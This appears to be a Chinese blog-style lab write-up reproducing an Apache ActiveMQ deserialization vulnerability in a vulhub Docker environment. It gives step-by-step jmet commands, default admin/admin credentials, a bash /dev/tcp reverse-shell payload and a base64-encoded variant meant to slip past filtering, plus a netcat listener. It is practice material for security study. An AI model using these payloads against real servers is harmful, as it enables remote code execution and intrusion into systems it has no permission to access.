这个漏洞在vulhub官网漏洞环境上排在首位,出于第一次练手的心态,所以就选择了他。
正文
靶机环境
Ubuntu20.04 ip:192.168.26.128
自行安装好docker,python环境,java环境。
通过git把vulhub环境拉下来
进入到漏洞目录
先自动化编译环境
1 | docker-compose build |
接着运行漏洞环境
1 | docker-compose up -d |
进入等待状态,等待他加载完。
完成以后会有done
提示。
环境运行后,将监听61616和8161两个端口其中61616是工作端口,消息在这个端口进行传递; 8161是web管理页面端口访问http://ip:8161
即可看到网络管理页面,使用浏览器直接访问,查看是否部署完毕。
1 | 127.0.0.1:8161或 192.168.26.128:8161 |
漏洞复现
- 构造(可以使用ysoserial)可执行命令的序列化对象
- 作为一个消息,发送给目标61616端口
- 访问web管理页面,读取消息,触发漏洞
- 作为一个消息,发送给目标61616端口
使用jmet进行漏洞利用。首先下载jmet的jar文件
工具下载地址:
1 | wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar |
等下载好后,执行payload
1 | java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME Ip 61616 |
这时候到浏览器访问页面,首先需要进入/admin
页面,这时候需要输入帐号密码,因为默认没有更改,所以账密都是admin/admin
此时会给目标ActiveMQ添加一个名为event的队列,我们可以通过访问url,看到这个队列中所有消息
1 | http://target-ip:8161/admin/browse.jsp?JMSDestination=event |
点击进去以后,回到终端,这时候要进入docker容器中
首先输入查看容器id
1 | docker ps |
接着通过命令进入容器中
1 | docker exec -it 容器id /bin/bash |
这时候查看/tmp目录,看一下时候生成success
目录,payload执行成功。接下来就是反弹shell了。
payload:bash -i >& /dev/tcp/your-ip/任意端口 0>&1
完整语句
1 | java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -i >& /dev/tcp/your-ip/任意端口 0>&1" -Yp ROME 192.168.26.128 61616 |
我试过,如果直接这样子输入,是不成功的,需要对payload进行base64编码,绕过java检测机制。
新payload:bash -c {echo,payload进行base64编码}|{base64,-d}|{bash,-i}
要进行base64编码的payload是这句:bash -i >& /dev/tcp/your-ip/任意端口 0>&1
1 | java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,payload进行base64编码}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.26.128 61616 |
编码的方式也有讲究,一开始我测试时候,随便找了个网站进行base64编码,但是一直都没有反弹成功,当时很懵逼,加密后语句是这样的
1 | YmFzaCUyMC1pJTIwJTNFJTI2JTIwL2Rldi90Y3AvMTkyLjE2OC4yNi4xMjgvODg4OCUyMDAlM0UlMjYx |
按照正常来说,base64编码后,是有等号的,但是这个没有,因为一直没有反弹shell,也感觉可能是编码问题,就换了一个网站进行加密。
这是新的加密,替换语句中旧的payload。然后监听的端口成功接收到shell。
1 | YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI2LjEyOC84ODg4IDA+JjE= |
反弹shell
执行了payload以后,监听 8888端口。
1 | nc -l -p 8888 |
回到浏览器,查看队列中是否出现新的消息
点进去,这时查看终端,成功接收到反弹的shell
复现结束
准备复现的漏洞
先把st系列的玩一玩